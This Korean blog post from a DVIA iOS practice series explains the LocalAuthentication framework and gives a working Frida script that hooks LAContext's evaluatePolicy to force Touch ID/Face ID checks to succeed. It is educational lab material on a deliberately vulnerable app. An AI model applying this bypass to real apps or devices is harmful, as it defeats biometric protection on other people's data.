Touch / Face ID Bypass

justugi·2024년 7월 9일
0

DVIA

목록 보기
5/11

주의사항 : 이 포스팅은 개인 학습 및 교육적 목적으로 작성되었으며, 제공하는 정보를 악용하여 불법적인 행위를 하는 것은 엄격히 금지되어 있습니다. 타인의 시스템에 대한 접근 권한을 얻기 위해 명시적인 동의를 받아야 하며, 이러한 기술을 사용하여 발생하는 모든 결과에 대한 책임은 사용자에게 있습니다.

Local Authentication (로컬 인증)

: 디바이스 내부에 저장된 자격증명을 기준으로 사용자를 인증하는 것을 말한다.

  • 자격증명 : 암호, 지문(Touch ID), 얼굴(Face ID) 등
  • 로컬 인증을 앱에서 사용하기 위해 로컬 인증 프레임워크를 사용해야 한다.

LocalAuthentication.framework (로컬 인증 프레임워크)

  • 생체인식 (Touch ID/Face ID) 또는 설정한 암호를 사용하여 사용자를 인증한다.
  • 보안을 위해 앱은 인증 데이터인 지문 등에 접근할 수 없으며, 인증성공 여부만 확인이 가능하다.
  • 프레임워크는 Secure Enclave 에게 인증하려는 이유를 알려주는 메시지을 제공해 주고, 인증 성공 또는 실패를 나타내는 Boolean 결과를 받게 된다.


로컬 인증 프레임워크 취약점

  • 로컬 인증 프레임워크를 사용하면 애플에서 제공하는 LAContext 클래스의 evaluatePolicy 인스턴스 메소드(함수)를 사용하게 된다.

  • evaluatePolicy 인스턴스 메소드(함수)는 성공 또는 실패를 나타내는 Boolean 값만 반환하기 때문에 쉽게 우회가 가능하다.


Touch / Face ID Bypass

  1. Touch ID 등록 후 인증 시도

  • 등록하지 않은 지문으로 인증 시도 시 에러 메세지 Authentication Failed
  1. Touch ID 우회 코드 작성 및 프리다 실행
// TouchIDBypass1.js

if(ObjC.available) {
    var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
    Interceptor.attach(hook.implementation, {
        onEnter: function(args) {
            send("Hooking Touch Id..")
            var block = new ObjC.Block(args[4]);
            const appCallback = block.implementation;
            block.implementation = function (error, value)  {
                const result = appCallback(1, null); // 1 : success, 0 : error
                return result;
            };
        },
    });
} else {
    console.log("Objective-C Runtime is not available!");
}

  • Swift Implementation 와 Objective-C implementation 모두 등록되어있지 않은 지문으로 Touch ID 우회 성공

출처
https://hagsig.tistory.com/243
https://developer.apple.com/documentation/localauthentication/

profile
IT 보안, 관심 있는 것을 공부합니다.

0개의 댓글

관련 채용 정보